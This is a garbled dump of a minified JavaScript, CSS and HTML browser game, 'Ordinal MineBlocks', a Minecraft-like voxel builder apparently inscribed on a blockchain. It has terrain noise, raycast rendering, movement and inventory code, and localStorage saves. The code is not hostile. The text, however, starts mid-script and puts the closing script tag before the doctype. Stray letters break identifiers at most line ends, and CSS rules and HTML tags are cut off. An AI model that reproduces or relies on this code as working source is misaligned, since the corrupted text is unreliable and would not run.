f=[].concat(o(r)),s=function(t){return t*t*t*(t*(6*t-15)+10)},l=function(t,e,r){return(1-r)*t+r*e},d=[[1,1],[a,1],[1,a],[a,a],[1,,1],[a,,1],[1,,a],[a,,a],[,1,1],[,a,1],[,1,a],[,a,a]].map(function(t){return new(Function.prototype.bind.apply(function(){function t(){var e=0<arguments.length&&void 0!==arguments[0]?arguments[0]:0,r=1<arguments.length&&void 0!==arguments[1]?arguments[1]:0,o=2<arguments.length&&void 0!==arguments[2]?arguments[2]:0;n(this,t),this.x=e,this.y=r,this.z=o}return i(t,[{key:"d",value:function(t,M
e,r){return this.x*t+this.y*e+this.z*r}}]),t}(),[null].concat(o(t))))}),v=0;256>v;v++)t=(0,u.default)(e+v,256)^(1&v?255&e:255&e>>8),r[v]=r[v+256]=t,f[v]=f[v+256]=d[t%12];return function(t,e,n){var o=c(t),i=c(e),a=c(n);t-=o,e-=i,n-=a,o&=255,i&=255,a&=255;var u=s(t),d=s(e),v=s(n),m=i+r[a],h=i+r[a+1],p=o+r[m],w=o+r[h],y=o+r[m+1],g=o+r[h+1];return l(l(l(f[p].d(t,e,n),f[p+1].d(t-1,e,n),u),l(f[w].d(t,e,n-1),f[w+1].d(t-1,e,n-1),u),v),l(l(f[y].d(t,e-1,n),f[y+1].d(t-1,e-1,n),u),l(f[g].d(t,e-1,n-1),f[g+1].d(t-1,e-1,n-1),u),vM
),d)}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0}),e.default=function(t,e){return(""+(2147483647&Math.imul(48271,t))/2147483648).split("").slice(-10).join("")%e}},function(t){"use strict";t.exports=function(){for(var t=Array(12288),e=1;21>e;e++)for(var r=255-(0|96*Math.random()),n=0;48>n;n++)!function(n){for(var o=0;16>o;o++)!function(o){var i=9858122,a=r;if(32<=n&&(a/=2),(4!=e&&6!=e||0==(0|3*Math.random()))&&(r=255-(0|96*Math.random())),1==e&&(n<18+(3&o*o*3+81*o>>2)?i=6990400:1==e&M
&n<19+(3&o*o*3+81*o>>2)&&(r=2*r/3)),3==e&&(i=14606046,0<o&&15>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(a=0)),4==e&&(i=8355711),5==e&&(i=11876885,(0==(o+4*(n>>2))%8||0==n%4)&&(i=12365733)),6==e&&(i=10519115,0==(0|16*Math.random())&&(r=255-(0|96*Math.random())),0==n%4&&(a=132)),7==e)if(i=6771249,0<o&&15>o&&(0<n&&15>n||32<n&&47>n)){i=12359778;var u=o-7,c=(15&n)-7;0>u&&(u=1-u),0>c&&(c=1-c),c>u&&(u=c),r=196-(0|32*Math.random())+u%3*32}else 0==(0|2*Math.random())&&(r=r*(140-100*(1&o))/100);8==e&&(i=5298487,0==(0|2*Math.rM
andom())&&(i=0,a=255)),9==e&&(i=4219135,a=192+(0|32*Math.random())),10==e&&(i=15810114,a=192+(0|32*Math.random()),0==(0|2*Math.random())&&(i=15834690)),11==e&&(i=4392035,0==(0|2*Math.random())&&(i=2294851)),12==e&&(i=15196080,1>16*Math.random()&&(a=164+4*o)),13==e&&(i=15200224,1>16*Math.random()&&(i=16232346));var f=function(t){2<o&&13>o&&(2<n&&13>n||18<n&&29>n)&&1>4*Math.random()&&(i=t)};14==e&&(i=8355711,f(15810114)),15==e&&(i=8355711,f(15778600)),16==e&&(i=8355711,f(4517357)),17==e&&(i=13704738,1>16*Math.random(M
)&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15810114),r=255)),18==e&&(i=13673224,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=15778600),r=255)),19==e&&(i=3386283,1>16*Math.random()&&(a=164+4*o),0<=o&&14>o&&(0<n&&15>n||16<n&&31>n||32<n&&47>n)&&(32>n&&(i=4517357),r=255)),20==e&&(i=8355711,1<=(0|4*Math.random())&&(Math.random(),i=5277975));var s=(255&i>>16)*a/255<<16|(255&i>>8)*a/255<<8|(255&i)*a/255;t[o+16*n+256*e*3]=s}(o)}(n);return t}},funcM
tion(t,e,r){"use strict";var n=r(19),o=r(11);t.exports={clock:n,render:o}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}function o(){var t=window.game,e=t.ctx,r=t.pixels;window._tick+=1,d.applyGravity(),d.calculateMovement(),m(),f.default.drawIcons(),e.putImageData(r,0,0),f.default.drawHotbarBorder(),f.default.drawIconNumers(),(0,l.default)()}function i(t){var e=window.game.CONST.MAX_FPS;return t-h<1e3/e?window.requestAnimationFrame(i):(o(),h=t,void window.requestAnimationFrame(i)M
)}var a=r(1),u=n(a),c=r(10),f=n(c),s=r(20),l=n(s),d=r(9),v=r(11),m=v.render,h=0;t.exports={init:function(){window._tick=0;var t=document.querySelector(".fps");(0,u.default)(function(){var e=window._tick;window.game.fps=e,t&&(t.innerText=e.toString()+" fps"),window._tick=0}),window.requestAnimationFrame?window.requestAnimationFrame(i):setInterval(o,10)}}},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n,o,i,a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a);e.default=funM
ction(){var t=window.game,e=t.ctx,r=t.width,a=t.height;e.lineWidth=1,e.strokeStyle="#fff",e.strokeStyle="rgb("+n+","+o+","+i+")",e.strokeRect(r/2-1,a/2-1,2,2)},(0,u.default)(function(){var t=window.game,e=t.pixels,r=t.width,a=t.height,u=4*(r/2+(a/2-5)*r);n=255&e.data[u+0]+128,o=255&e.data[u+1]+128,i=255&e.data[u+2]+128})},function(t,e,r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.M
push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),o=r(2),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=r(0);e.default=function(t,e,r,o){var u=window.game,c=u.pixels,f=u.width,s=i.default.color,l=(0,a.isInsideCheck)(),d=i.default.timeModifier(),v=s(),m=n(v,3)L
,h=m[0],p=m[1],w=m[2],y=255*r/48960;l||(y*=1-d/2);var g=(255&o>>16)*y,M=(255&o>>8)*y,b=(255&o)*y,_=4*(t+e*f);c.data[_+0]=g||h,c.data[_+1]=M||p,c.data[_+2]=b||w}}]);
</script></body></html>
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
et("_mcm");c&&n(i(s.decompress(c)))},unMinify:i}},function(t){"use strict";var e=String.fromCharCode,r=32768,n=Object.prototype.hasOwnProperty,o=Math.pow,i=function(t){return t.charCodeAt(0)};t.exports={compress:function(t){if(null==t)return"";var r,a,u,c=function(t){return e(t)},f={},s={},l="",d="",v="",m=2,h=3,p=2,w=[],y=0,g=0;for(u=0;u<t.length;u+=1)if(l=t.charAt(u),n.call(f,l)||(f[l]=h++,s[l]=!0),d=v+l,n.call(f,d))v=d;else{if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(aM
=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;m--,0==m&&(m=o(2,p),p++),f[d]=h++,v=l+""}if(""!==v){if(n.call(s,v)){if(256>i(v)){for(r=0;r<p;r++)y<<=1,15==g?(g=0,w.push(c(y)),y=0):g++;for(a=i(v),r=0;8>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)M
),y=0):g++,a>>=1}else{for(a=1,r=0;r<p;r++)y=y<<1|a,15==g?(g=0,w.push(c(y)),y=0):g++,a=0;for(a=i(v),r=0;16>r;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1}m--,0==m&&(m=o(2,p),p++),delete s[v]}else for(a=f[v],r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;0==--m&&(m=o(2,p),p++)}for(a=2,r=0;r<p;r++)y=y<<1|1&a,15==g?(g=0,w.push(c(y)),y=0):g++,a>>=1;for(;;){if(y<<=1,15==g){w.push(c(y));break}g++}return w.join("")},decompress:function(t){var n,i,a,u,c,f,s,l=function(e){return t.charCodeAt(e)},d=[],M
v=4,m=4,h=3,p="",w=[],y={val:l(0),position:r,index:1};for(n=0;3>n;n+=1)d[n]=n;for(a=0,c=o(2,2),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;s=e(a);breaM
k;case 2:return""}for(d[3]=s,i=s,w.push(s);;){if(y.index>t.length)return"";for(a=0,c=o(2,h),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;switch(s=a){case 0:for(a=0,c=o(2,8),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<=1;d[m++]=e(a),s=m-1,v--;break;case 1:for(a=0,c=o(2,16),f=1;f!=c;)u=y.val&y.position,y.position>>=1,0==y.position&&(y.position=r,y.val=l(y.index++)),a|=(0<u?1:0)*f,f<<M
=1;d[m++]=e(a),s=m-1,v--;break;case 2:return w.join("")}if(0==v&&(v=o(2,h),h++),d[s])p=d[s];else{if(s!==m)return null;p=i+i.charAt(0)}w.push(p),d[m++]=i+p.charAt(0),v--,i=p,0==v&&(v=o(2,h),h++)}}}},function(t,e,r){"use strict";var n=r(8),o=r(14),i=r(17);t.exports={mapDataType:n,map:o,textures:i}},function(t){"use strict";t.exports=function(){var t=window.game.CONST.MAP_SIZE;return Array(t).fill(0).map(function(){return Array(64).fill(0).map(function(){return Array(t).fill(0)})})}},function(t,e,r){"use strict";var nM
=Math.PI,o=Math.cos,i=Math.sin,a=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),u=r(4),c=r(10),f=r(0),s=f.getBlock,l={forward:0,backward:0,strafeLeft:0,stM
rafeRight:0,jump:0,jumping:0,shift:0};t.exports={applyGravity:function(){var t=window.game.CONST.JMP,e=t.AMP,r=t.STR,n=window.game.player,o=n.x,i=n.y,a=n.z;i+=2;var u=s(o,i,a);if(l.jump&&0<u&&(n.velocity=-r,l.jumping=1),l.jumping){n.velocity+=n.velocity+r+e,0<n.velocity&&(n.velocity=0,l.jumping=0);var c=s(o,n.y+n.velocity,a);return void(0==c?n.y+=n.velocity:9==c&&(n.y+=n.velocity/8))}if(0==u||9==u){3>n.velocity&&(n.velocity+=.2);var f=n.y+.1*n.velocity/(0==u?1:4),d=s(o,Math.ceil(f)+1,a);return void(n.y=0==d||9==d?fM
:0|f)}n.velocity=0},calculateMovement:function(){var t=window.game.player,e=s(t.x,t.y+1,t.z);if(l.forward||l.backward||l.strafeLeft||l.strafeRight){var r=9==e?16:8,a=t.x,u=t.y+1.8,c=t.z,f=i(t.yaw)/r,d=o(t.yaw)/r;l.forward?(a+=f,c+=d):l.backward&&(a-=f,c-=d);var v=t.yaw-n/2,m=i(v)/r,h=o(v)/r;l.strafeLeft?(a+=m,c+=h):l.strafeRight&&(a-=m,c-=h);var p=s(a,u,c);if(0==p||9==p)t.x=a,t.z=c;else{var w=s(a,u,t.z),y=s(t.x,u,c);0==w||9==w?t.x=a:(0==y||9==y)&&(t.z=c)}}},init:function(){var t=window.game,e=t.player,r=t.map,f=docM
ument.addEventListener,d=document.getElementById("game"),v=function(t){var r=t.movementX||t.mozMovementX||t.webkitMovementX||0,o=t.movementY||t.mozMovementY||t.webkitMovementY||0;e.yaw=(e.yaw+r/500)%7.855,e.pitch-=o/1e3;var i=n/2,a=-i;e.pitch<a&&(e.pitch=a),e.pitch>i&&(e.pitch=i)};d.addEventListener("click",function(){d.requestPointerLock=d.requestPointerLock||d.mozRequestPointerLock||d.webkitRequestPointerLock,d.requestPointerLock()}),f("keydown",function(t){t.preventDefault();var e=window,r=e.game,n=t.keyCode;16=M
=n?l.shift=1:65==n?l.strafeLeft=1:68==n?l.strafeRight=1:87==n?l.forward=1:83==n?l.backward=1:32==n?l.jump=1:48==n?r.hotbar.selected=9:49<=n&&57>=n?r.hotbar.selected=n-49:69==n&&(r.hotbar.side=r.hotbar.side?0:1)}),f("keyup",function(t){var e=t.keyCode;16==e?l.shift=0:65==e?l.strafeLeft=0:68==e?l.strafeRight=0:87==e?l.forward=0:83==e?l.backward=0:32==e&&(l.jump=0)}),f("click",function(t){for(var e,n=window.game,f=n.player,d=n.hotbar,v=d.items,m=f.x,h=f.y,p=f.z,w=[],y=0;6e3>y;y++){e=o(f.pitch),m+=i(f.yaw)*e/1e3,h-=i(fM
.pitch)/1e3,p+=o(f.yaw)*e/1e3;var g=s(m,h,p),M=0<g;if((9==g||10==g)&&(M=l.shift),M){if(0===t.button)r[0|m][0|h][0|p]=0,(0,c.inventoryAdd)(g);else if(2===t.button){var b=w,_=a(b,3),x=_[0],A=_[1],S=_[2],k=u.BLOCKS_MAP[d.side][d.selected],E=v[k];if(!E)return;r[0|x][0|A][0|S]=k||1,(0,c.inventoryRemove)(k)}return}w=[m,h,p]}}),["pointer","mozpointer","webkitpointer"].forEach(function(t){return document.addEventListener(t+"lockchange",function(){var t=document,e=t.pointerLockElement,r=t.mozPointerLockElement,n=t.webkitPoiM
nterLockElement;document[e==d||r==d||n==d?"addEventListener":"removeEventListener"]("mousemove",v)})})}}},function(t,e,r){"use strict";function n(t,e,r){for(var n=window.game,o=n.pixels,i=n.texmap,a=n.width,u=n.hotbar,c=0;16>c;c++)for(var f=0;16>f;f++){var s=i[f+16*(c+16)+256*t*3],l=u.items[t],d=1.328125,v=(255&s>>16)*d,m=(255&s>>8)*d,h=(255&s)*d,p=4*(e+f+(r+c)*a);if(!l){var w=(v+m+h)/6;v=w+v/3,m=w+m/3,h=w+h/3}o.data[p+0]=v,o.data[p+1]=m,o.data[p+2]=h}}function o(t,e,r){var n=window.game.ctx;if(void 0!=t&&t!==1/0){M
var o=999<t?(0|t/1e3)+"k":t;n.font="100 8px OCR A Std,Impact,monospace",n.strokeStyle="black",n.textAlign="right",n.lineWidth=2,n.fillStyle="#fff",n.strokeText(o,e,r),n.fillText(o,e,r)}}var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){if(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(M
e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(4),u=a.BLOCKS_MAP,c=a.CRAFTABLES,f=function(){return(window.game.width-180)/2},s=function(){return window.game.height-16-8},l=function(t){var e=0;return Object.entries(c).some(function(r){var n=i(r,2),o=n[0],a=n[1];return i(a||[],1)[0]===t&&(e=o,!0)}),e};t.exports={drawIcons:function(){var t=window.game.hotbar;u[t.side].forEach(function(t,e){n(t,f()+18*e,s())})},drawHotbarBorder:function(){var t=window.game,e=t.ctx,r=t.hotbar,nM
=f()+18*r.selected;e.lineWidth=1,e.strokeStyle="#fff",e.strokeRect(n+1,s()+1,14,14),e.strokeStyle="#000",e.strokeRect(n,s(),16,16)},drawIconNumers:function(){for(var t=window.game.hotbar,e=t.side,r=0;10>r;r++){var n=f()+18*r,i=u[e][r];o(t.items[i],n+16,s()+16)}},inventoryAdd:function(t){var e=window.game.hotbar,r=e.items;r[t]++;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]+=d}},inventoryRemove:function(t){var e=window.game.hotbar,r=e.items;r[t]--M
;var n=c[t];if(n){var o=i(n,2),a=o[0],u=o[1];return void(r[a]=0|r[t]/u)}var f=l(t);if(f){var s=i(c[f],2),d=s[1];r[f]-=d}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=Math.cos,i=Math.sin,a=r(2),u=n(a),c=r(1),f=n(c),s=r(21),l=n(s),d=r(0),v=0,m=0;(0,f.default)(function(){m=(m+1)%3}),t.exports={render:function(){var t=window.game,e=t.texmap,r=t.width,n=t.height,a=t.player,c=t.CONST,f=(t.fps,t.scanlinesEnabled),s=t.renderDistance,h=o(a.pitch),p=i(a.pitch),w=o(a.yaw),y=i(a.yaw)M
,g=a.x-(0|a.x),M=a.y-(0|a.y),b=a.z-(0|a.z);v=v?0:1;for(var _=0;_<r;_++)for(var x=(0,d.calcArcFromLength)(_,r),A=(_-r/2)/n,S=f?_%2+v-1:0;S<n;S+=f?2:1){for(var k,E=(0,d.calcArcFromLength)(S,n),L=s+(s*x+s*E)/2,T=(S-n/2)/n,C=h+T*p,O=T*h-p,I=A*w+C*y,P=C*w-A*y,j=0,R=255,z=0;3>z;z++){k=I,1==z&&(k=O),2==z&&(k=P);var B=1/Math.abs(k),N=I*B,D=O*B,F=P*B,G=g;1==z&&(G=M),2==z&&(G=b),0<k&&(G=1-G);var q=a.x+N*G,H=a.y+D*G,W=a.z+F*G;0>k&&(z||q--,1==z&&H--,2==z&&W--);for(var X,Z=B*G,J=c.MAP_SIZE-1;Z<L;){if(X=(0,d.getBlock)(q&J,63&H,WM
&J),(W>J||63<H||q>J||0>W||0>H||0>q)&&(X=0),0<X){var K=15&16*(q+W),Y=16+(15&16*H);1==z&&(K=15&16*q,Y=15&16*W,0>D&&(Y+=32));var V=e[K+16*Y+256*X*3];if(0<V){if(j=V,1==z&&(9==X||10==X)){var U=K+Y*(m+1)*16+256*X*3;9==X&&7680>U?j=e[U]:10==X&&8680>U&&(j=e[U])}var Q=u.default.timeModifier(),$=1-Z/s*Q;R=(255-(z+2)%3*50)*$,L=Z}}q+=N,H+=D,W+=F,Z+=B}}(0,l.default)(_,S,R,j)}}}},function(t,e,r){"use strict";function n(t){return t&&t.__esModule?t:{default:t}}var o=r(13),i=n(o),a=r(5),u=n(a),c=r(2),f=r(1),s=n(f),l=r(0),d=r(3),v=n(M
d),m=r(9),h=r(7),p=r(18),w=r(4),y=w.RES,g=y.WIDTH,M=y.HEIGHT,b=0|w.MAP_SIZE/2;document.title="Ordinal MineBlocks",window.game={CONST:w},window.game={CONST:w,width:g,height:M,getTime:c.getTime,setTime:c.setTime,player:{x:b,y:0,z:b,velocity:0,pitch:-.1,yaw:0},hotbar:{selected:0,side:0,items:Array(21).fill(0)},map:h.map(),texmap:h.textures(),ctx:document.getElementById("game").getContext("2d"),fps:0,scanlinesEnabled:!0,renderDistance:32},document.addEventListener("DOMContentLoaded",function(){var t=window,e=t.game,r=eM
.width,n=e.height,o=e.ctx,a=document.getElementById("toolbar"),c=(0,l.getCanvas)();c.width=r,c.height=n;var f=function(){var t=1.3334*window.innerHeight,e=window.innerHeight;.75*window.innerWidth<window.innerHeight&&(t=window.innerWidth,e=.75*window.innerWidth),c.setAttribute("style","width: "+t+"px; height: "+e+"px")};e.pixels=o.createImageData(r,n),e.pixels.data.fill(255),window.addEventListener("resize",f),f(),m.init(),p.clock.init(),setTimeout(u.default.main,500),(0,s.default)(function(){window.game}),a.addEvenM
tListener("click",function(t){var r=t.target.id;"lock"===r?a.classList.toggle("extended"):"save"===r?(0,i.default)():"load"===r?window.location.reload():"plus"===r?e.renderDistance+=5:"minus"===r?e.renderDistance-=5:"interlace"===r?setTimeout(function(){return e.scanlinesEnabled=!e.scanlinesEnabled},1):"newseeed"===r&&confirm("Generate a new seed? This will erase your current save.")&&(w.LOCAL_STORAGE.forEach(function(t){return localStorage.removeItem(t)}),v.default.safeSet("_mcs",0|Math.random()*Number.MAX_SAFE_INM
